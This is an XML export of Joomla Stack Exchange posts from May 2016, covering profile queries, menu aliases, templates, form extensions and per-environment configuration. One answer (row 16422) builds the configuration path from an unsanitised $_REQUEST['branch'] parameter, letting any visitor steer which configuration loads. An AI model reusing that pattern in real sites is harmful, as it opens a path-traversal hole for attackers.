  <row Id="16412" PostTypeId="2" ParentId="16398" CreationDate="2016-05-01T00:08:37.930" Score="0" Body="&lt;p&gt;OMG I think I might have something that works!!! Its kind of a combination of all of the stuff you guys helped me with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('profile_value'))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__user_profiles'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('user_id') . &quot; = &quot; . $db-&amp;gt;q($user-&amp;gt;id))&#xA;      -&amp;gt;where($db-&amp;gt;qn('profile_key') . &quot; = &quot; . $db-&amp;gt;q('profile.address1'));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;echo $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only problem is I'm putting this into the field with the user profiles, so ANY person that replies is going to get the address showing up instead of just the original customer_id which is what we really want, but all I was able to find in the other code was the &lt;code&gt;$user-&amp;gt;id&lt;/code&gt; reference. Also, it seems to be putting my result in quotes for some reason when displaying.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2016-05-01T00:08:37.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16413" PostTypeId="1" CreationDate="2016-05-01T04:00:44.560" Score="1" ViewCount="70" Body="&lt;p&gt;I have recently come across an issue where my Localhost Apache server (and/or MySQL server) will interfere with some random websites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most recently I discovered the localhost was causing issues on a Joomla website were a single component would throw a 404 component not found error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since 99% or more of the web continues to work correctly I assume there are 2 primary causes and 3 possible solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Causes&#xA; 1. code issues with the website/Joomla component&#xA; 2. localhost apache configuration issues&lt;/p&gt;&#xA;&#xA;&lt;p&gt;solutions&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fix the code issues (if it's your site/component)&lt;/li&gt;&#xA;&lt;li&gt;fix the issue with the localhost configuration&lt;/li&gt;&#xA;&lt;li&gt;stop the localhost server when your surfing the web&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I need guidance on what in php code for a Joomla component would cause such issues, and how to fix those code issues.&#xA;I would hate to see someone happen to have a localhost instance running and have an issue with one of my sites.&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2017-11-08T11:15:13.863" Title="Localhost causing issues with external websites, joomla components" Tags="|joomla-3.x|development|apache|localhost|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16414" PostTypeId="1" AcceptedAnswerId="16415" CreationDate="2016-05-01T06:38:19.960" Score="1" ViewCount="362" Body="&lt;p&gt;So any profile data filled in within a user profile for joomla is being saved with quotes around it in the database. Does anyone know how to remove the quotes? It seems to do it even as the default value. Field type is set to TEXT. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D0u2a.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D0u2a.jpg&quot; alt=&quot;sample database&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2016-05-01T16:14:16.170" Title="Quotes Displayed in Database Value" Tags="|joomla-3.x|php|mysql|phpmyadmin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16415" PostTypeId="2" ParentId="16414" CreationDate="2016-05-01T08:23:19.560" Score="3" Body="&lt;p&gt;As far as I can tell from the profiles plugin code, the speech marks come from data being JSON encoded before being entered into the database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tuples = array();&#xA;                $order = 1;&#xA;&#xA;                foreach ($data['profile'] as $k =&amp;gt; $v)&#xA;                {&#xA;                    $tuples[] = '(' . $userId . ', ' . $db-&amp;gt;quote('profile.' . $k) . ', ' . $db-&amp;gt;quote(json_encode($v)) . ', ' . ($order++) . ')';&#xA;                }&#xA;&#xA;                $db-&amp;gt;setQuery('INSERT INTO #__user_profiles VALUES ' . implode(', ', $tuples));&#xA;                $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pretty sure that to remove them you'd need to edit core Joomla files, which you should never do.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-05-01T08:28:37.213" LastActivityDate="2016-05-01T08:28:37.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16416" PostTypeId="2" ParentId="16395" CreationDate="2016-05-01T08:39:55.627" Score="0" Body="&lt;p&gt;You can resolve your problem by creating &quot;Hidden&quot; menu. Suppose you have some menu choices that require a user to be logged in, like &quot;Submit an Article&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would like all users to be able to see the restricted menu item, whether or not they are logged in. You can achieve below 3 possible cases-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the user is logged in, they just go directly to the restricted menu item.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the user is not logged in they are presented with the login form, and&#xA;once they log in successfully, they continue on to the restricted page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If they are not registered, they have the option to register or navigate to another page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For further detail refer : &lt;a href=&quot;https://docs.joomla.org/Auto_redirect_guests_to_login&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Auto_redirect_guests_to_login&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="428" LastActivityDate="2016-05-01T08:39:55.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16417" PostTypeId="1" AcceptedAnswerId="16423" CreationDate="2016-05-01T14:11:14.687" Score="6" ViewCount="5635" Body="&lt;p&gt;recently a friends company website that is using Joomla was hacked. Since keeping the website always up to date is not of any priority, it ran an outdated version and I'd assume it could happen again in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it less vulnerable I wondered if there is a way to generate static HTML out of a local Joomla installation? Reasoning behind it is, that the page is static anyway and the only reason for having a CMS seems to be to be able to change the content more easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this possible at all? Or would it be better to look at static html generators?&lt;/p&gt;&#xA;" OwnerUserId="8342" LastActivityDate="2020-06-17T18:56:30.350" Title="Generating static pages out of Joomla?" Tags="|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16418" PostTypeId="2" ParentId="13891" CreationDate="2016-05-01T16:04:58.650" Score="1" Body="&lt;pre&gt;&lt;code&gt;plugin_name_dir&#xA;|&#xA;|__element_a.php&#xA;|__element_b.php&#xA;|&#xA;|__assets_dir&#xA;     |&#xA;     |__css_dir&#xA;     |    |__style_a.css&#xA;     |    |__style_b.css&#xA;     |&#xA;     |__js_dir&#xA;     |    |__script_class_a.js&#xA;     |    |__script_class_b.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assets can be included in the plugin folder, but should be in the Joomla media folder.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;See &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;Creating a Plugin for Joomla 3.x&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;See &lt;a href=&quot;https://docs.joomla.org/Plugin_Developer_Overview&quot; rel=&quot;nofollow&quot;&gt;Plugin Developer Overview&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-05-01T16:04:58.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16419" PostTypeId="2" ParentId="16414" CreationDate="2016-05-01T16:14:16.170" Score="1" Body="&lt;p&gt;The profile_value field is a JSON encoded field, when it's empty it will be an empty quoted string as the default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't want to mess with the way the data is stored. (unless you want to write your own version of the profile plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What You will need to do is parse the JSON data in your code to get to the underlying values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is common in many places in Joomla and other CMS systems. For example, the params field in almost every Joomla component is also a JSON encoded field.&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-05-01T16:14:16.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16420" PostTypeId="1" AcceptedAnswerId="16424" CreationDate="2016-05-01T17:53:46.830" Score="1" ViewCount="871" Body="&lt;p&gt;I'm building my first component for Joomla 3.x (I don't need support for 2.x). I've created my models (and unit tested them). I'm now ready to create the views. To start I just want to create a simple form to enter an address. It'll have text boxes and a drop-down list for states. Could someone point me to a tutorial and/or sample code that illustrates how to create forms and fields?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-05-02T09:14:04.123" Title="Where can I find a good tutorial and/or example for creating front-end forms in custom components?" Tags="|joomla-3.x|component|jform|form|form-fields-types|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16421" PostTypeId="1" AcceptedAnswerId="16422" CreationDate="2016-05-01T18:31:47.580" Score="2" ViewCount="807" Body="&lt;p&gt;We have a project setup which has three different git branches (development, staging and production). We are trying to find the best way to setup (if possible) the configuration.php for each branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach we took was to create add a constructor on the configuration.php and check the $_SERVER['DOCUMENT_ROOT'] and change the property for each branch/environment. This works until someone the makes changes in the backend and saves it which removes the constructor and sets it back to how the default configuration.php structure is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way without hacking the core we can have environment specific configuration.php file or is the best way simply to put the configuration.php into .gitignore?&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2020-04-20T16:05:09.430" Title="Can we create different configuration.php file for multiple environment?" Tags="|configuration|git|best-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16422" PostTypeId="2" ParentId="16421" CreationDate="2016-05-01T22:10:04.487" Score="6" Body="&lt;p&gt;Regarding how Joomla loads configuration.php in index.php, at line 29&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can put a custom defines.php in the Joomla root directory, then customize the 'JPATH_CONFIGURATION' value, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Site&#xA; *&#xA; * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;define('_JDEFINES', 1); &#xA;define('JPATH_BASE', dirname(__FILE__));&#xA;&#xA;$branch = $_REQUEST[&quot;branch&quot;];&#xA;&#xA;// Global definitions&#xA;$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);&#xA;&#xA;// Defines.&#xA;define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));&#xA;define('JPATH_SITE',          JPATH_ROOT);&#xA;define('JPATH_CONFIGURATION', JPATH_ROOT . DIRECTORY_SEPARATOR .'configurations' . DIRECTORY_SEPARATOR .$branch);&#xA;define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');&#xA;define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');&#xA;define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');&#xA;define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');&#xA;define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');&#xA;define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');&#xA;define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;configurations/development/configuration.php&lt;/li&gt;&#xA;&lt;li&gt;configurations/staging/configuration.php&lt;/li&gt;&#xA;&lt;li&gt;configurations/production/configuration.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the administrator, you must create another defines.php in the /administrator directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Administrator&#xA; *&#xA; * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;define('_JDEFINES', 1); &#xA;define('JPATH_BASE', dirname(__FILE__));&#xA;&#xA;$branch = $_REQUEST[&quot;branch&quot;];&#xA;&#xA;// Global definitions&#xA;$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);&#xA;array_pop($parts);&#xA;&#xA;// Defines&#xA;define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));&#xA;define('JPATH_SITE',          JPATH_ROOT);&#xA;define('JPATH_CONFIGURATION', JPATH_ROOT . DIRECTORY_SEPARATOR .'configurations' . DIRECTORY_SEPARATOR .$branch);&#xA;define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');&#xA;define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');&#xA;define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');&#xA;define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');&#xA;define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');&#xA;define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');&#xA;define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;define('_JDEFINES', 1);&lt;/strong&gt; line prevents Joomla loads core includes/defines.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$branch can be defined regarding $_REQUEST, catching subdomain or whatever you want.&lt;/p&gt;&#xA;" OwnerUserId="8234" LastEditorUserId="8234" LastEditDate="2016-05-02T07:00:28.930" LastActivityDate="2016-05-02T07:00:28.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16423" PostTypeId="2" ParentId="16417" CreationDate="2016-05-02T00:06:30.923" Score="5" Body="&lt;p&gt;The &quot;Static Content&quot; project at: &lt;a href=&quot;https://github.com/juliopontes/staticcontent&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/juliopontes/staticcontent&lt;/a&gt; does exactly what you are after although it looks like it may need to be updated for Joomla 3.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use &lt;a href=&quot;https://en.wikipedia.org/wiki/Wget&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wget&lt;/a&gt; or &lt;a href=&quot;http://www.httrack.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTrack&lt;/a&gt; or similar to convert your Joomla website to HTML. Linux, Windows and OSX versions are available for both Wget and HTTrack. See the answers to &lt;a href=&quot;https://serverfault.com/q/441584/270745&quot;&gt;https://serverfault.com/q/441584/270745&lt;/a&gt; for more detailed instructions.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-02-09T00:17:04.017" LastActivityDate="2017-02-09T00:17:04.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16424" PostTypeId="2" ParentId="16420" CreationDate="2016-05-02T03:20:21.677" Score="3" Body="&lt;p&gt;Everything you need to get started with JForm for views&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ostraining.com/blog/how-tos/development/getting-started-with-jform/&quot; rel=&quot;nofollow&quot;&gt;https://www.ostraining.com/blog/how-tos/development/getting-started-with-jform/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-05-02T03:20:21.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16425" PostTypeId="2" ParentId="16420" CreationDate="2016-05-02T09:14:04.123" Score="0" Body="&lt;p&gt;You can use Joomla Component creator tools for basic component and if you want to learn the component structure. &lt;a href=&quot;https://www.component-creator.com/en/&quot; rel=&quot;nofollow&quot;&gt;https://www.component-creator.com/en/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8345" LastActivityDate="2016-05-02T09:14:04.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16426" PostTypeId="1" CreationDate="2016-05-02T10:01:57.770" Score="3" ViewCount="499" Body="&lt;p&gt;I am writing for help regarding a problem with incorrect alias in the URL for product content from my Italian submenu. I created a submenu for products in my website (the products are with VirtueMart). For example in Italian I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;wwww.mysite.com/it/vini/nord-italia/&lt;b&gt;2016-04-29-14-43-42&lt;/b&gt;/dolcetto&lt;/pre&gt; &#xA;&#xA;&lt;p&gt;while the English menu correctly displays as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;wwww.mysite.com/en/wines/north-italy/piedmont-wines/dolcetto-d-alba-doc&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to summarize, the English language alias appears in the URL as it should (not numbered) the problem is that the Italian language part of the alias is numbered (it contains date and time and it shouldn't). Why is this happening? How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="7288" LastEditorUserId="115" LastEditDate="2016-05-03T00:12:06.943" LastActivityDate="2016-06-02T23:43:48.953" Title="Joomla 3.4.4 - URL Problems with alias of products in submenu" Tags="|joomla-3.x|virtuemart|language|alias|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16427" PostTypeId="1" CreationDate="2016-05-02T12:01:00.583" Score="2" ViewCount="334" Body="&lt;p&gt;After upgrading to version 3.5.1 something has stopped working. In the initial installation I used a slightly modified version of the Protostar template and that is of course lost after upgrading. Something I can live with for the moment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even if I select standard Protostar as default template the page is not shown correctly. Everything is left oriented and modules and content stacked on top of each other; starting with banner module and then position 8, content and position 7. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems like the template is not recognized and I've not been able to figure out what is wrong. So, I'm in need of some guidance.&lt;/p&gt;&#xA;" OwnerUserId="8346" LastEditorUserId="1520" LastEditDate="2016-05-02T21:24:49.083" LastActivityDate="2016-05-09T19:54:30.570" Title="Problems with Protostar template after upgrading to version 3.5.1" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16428" PostTypeId="2" ParentId="16426" CreationDate="2016-05-02T12:48:54.210" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you check the alias In Menu item?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Did you try Menu &gt;&gt; Rebuild &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Rebuild. Reconstructs and refreshes the relevant table. Normally, you do not need to rebuild this table. This function is provided in case the data in the table becomes corrupted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Help35:Menus_Menu_Item_Manager&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Help35:Menus_Menu_Item_Manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-05-02T12:48:54.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16429" PostTypeId="2" ParentId="16426" CreationDate="2016-05-02T13:30:01.670" Score="1" Body="&lt;p&gt;Update to 3.4.8 and run the rebuild menu command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seriously update to 3.4.8 as soon as possible (I'm not saying that will fix your menu issue, but it will improve the security of your site)&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-05-02T13:30:01.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16430" PostTypeId="2" ParentId="16427" CreationDate="2016-05-02T13:37:14.960" Score="2" Body="&lt;p&gt;Sounds like you had additional custom Css and custom html overrides in your modified protostar template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use ftp to remove all the folders in your template folder, then ftp the source template folder from the extracted 3.5.1 zip to your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This procedure with make sure you don't have custom code hanging around causing your issues. &lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-05-02T13:37:14.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16431" PostTypeId="1" AcceptedAnswerId="16440" CreationDate="2016-05-02T15:19:44.017" Score="1" ViewCount="166" Body="&lt;p&gt;I'm in the process of determining which forms builder extension to use while i'm planning a Joomla based website.  Many of the free or paid plugins or extensions can seem to gather the data I need.  My question is, once I've gathered the data, what options are there to manipulate the data?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is once the data for a form is entered, analyze the data for particular choices and then kick off an email with a subset of that data contained in the email.  The form should then be marked as &quot;completed&quot; or some sort of status indicating completion.  I want this to be all automatic, obviously, running without human intervention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have programming experience, but none in php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="8349" LastActivityDate="2016-07-02T10:19:01.350" Title="How to use data gathered by Joomla Forms Extension" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16432" PostTypeId="2" ParentId="16431" CreationDate="2016-05-02T15:51:19.997" Score="0" Body="&lt;p&gt;I think that Breezing Forms will fit your needs &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/breezingforms&quot; rel=&quot;nofollow&quot;&gt;Breezing Forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supports scripting and has a lot of examples and docs.&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-05-02T15:51:19.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16433" PostTypeId="2" ParentId="16426" CreationDate="2016-05-02T17:17:37.200" Score="3" Body="&lt;p&gt;I FOUND THE SOLUTION!!!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Temporary change menu item type to Text Separator, modify alias to&#xA;  your liking and change type back to External URL.&#xA;  REFERENCE:&lt;a href=&quot;http://www.mysysadmintips.com/other/web/285-remove-date-and-time-from-joomla-menu-link-url&quot; rel=&quot;nofollow&quot;&gt;http://www.mysysadmintips.com/other/web/285-remove-date-and-time-from-joomla-menu-link-url&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks to all for the help. ;)&lt;/p&gt;&#xA;" OwnerUserId="7288" LastEditorUserId="115" LastEditDate="2016-05-03T23:21:53.953" LastActivityDate="2016-05-03T23:21:53.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16434" PostTypeId="1" CreationDate="2016-05-02T17:52:22.993" Score="1" ViewCount="799" Body="&lt;p&gt;So I locked myself out of the Joomla backend when I was messing with the user permissions...I finally got in using the public $root_user=’johnsmith’; in configuration.php, but when I logged in I can't see the Joomla admin menu to be able to go back in and change my user permission settings...how do I access the menu like I could before I locked myself out? &lt;a href=&quot;https://i.stack.imgur.com/G1M5s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G1M5s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I click the Joomla icon it just kicks me back to this main page. Any help would be greatly appreciated!!! &lt;/p&gt;&#xA;" OwnerUserId="8351" LastActivityDate="2016-05-03T21:21:54.217" Title="Can't see admin menu in Joomla backend after using emergency Root User to log in" Tags="|joomla-3.x|acl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16435" PostTypeId="1" CreationDate="2016-05-02T17:53:36.307" Score="0" ViewCount="108" Body="&lt;p&gt;I am using k2 to buildg my Joomla 3.5 site. My k2 items are basically youtube videos, every youtube video has a URL pattern for its preview image and I want it to be the item's image. But I don't want to bother with the repetitive job (copying the video ID, fitting it into the URL, and saving it as the item's image) every time I create an item. So I am thinking maybe I can write some script to automatically get the images(it is easy to do once the video's id is provided). The problem is, this script has to be exectued every time I create an item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just start to learn some basic things about Joomla extension developing, my question is, which category does the thing I want to fall into? Shall it be a plugin? Or a k2 plugin? Or there is totally no interface for this kind of thing and I will have to hack some PHP file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, I also have some node.js script to scrape the description of the Youtube videos(Yes I am being lazy again, I don't want to copy and paste those descriptions every time I create an item). How do I get Joomla to run these node.js scripts?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-05-04T06:35:22.683" Title="K2:How to run a certain task every time an item is saved" Tags="|development|plugin|extensions|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16436" PostTypeId="1" AcceptedAnswerId="16437" CreationDate="2016-05-02T19:44:02.517" Score="1" ViewCount="89" Body="&lt;p&gt;Title says it all, is it possible to have a different editor for each user within Joomla? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;User 1 uses the TinyMCE editor while User 2 uses RokPad editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.5.1.&lt;/p&gt;&#xA;" OwnerUserId="3425" LastActivityDate="2016-05-02T22:58:38.420" Title="Different WYSIWYG editors for each user?" Tags="|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16437" PostTypeId="2" ParentId="16436" CreationDate="2016-05-02T20:04:39.590" Score="4" Body="&lt;p&gt;Yes no problem at all. To do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to to your Joomla! back-end,&lt;/li&gt;&#xA;&lt;li&gt;Install the editors you need via &lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Manage&lt;/strong&gt; &gt; &lt;strong&gt;Install&lt;/strong&gt;,&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then for each user you will have to set their editor. To do this go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Users&lt;/strong&gt; &gt; &lt;strong&gt;Manage&lt;/strong&gt;, from here select the user, click the &quot;&lt;strong&gt;Basic Settings&lt;/strong&gt;&quot; Tab and select&lt;br/&gt; the editor in &lt;strong&gt;Editor&lt;/strong&gt; field.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save and close.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8225" LastEditorUserId="7394" LastEditDate="2016-05-02T22:58:38.420" LastActivityDate="2016-05-02T22:58:38.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
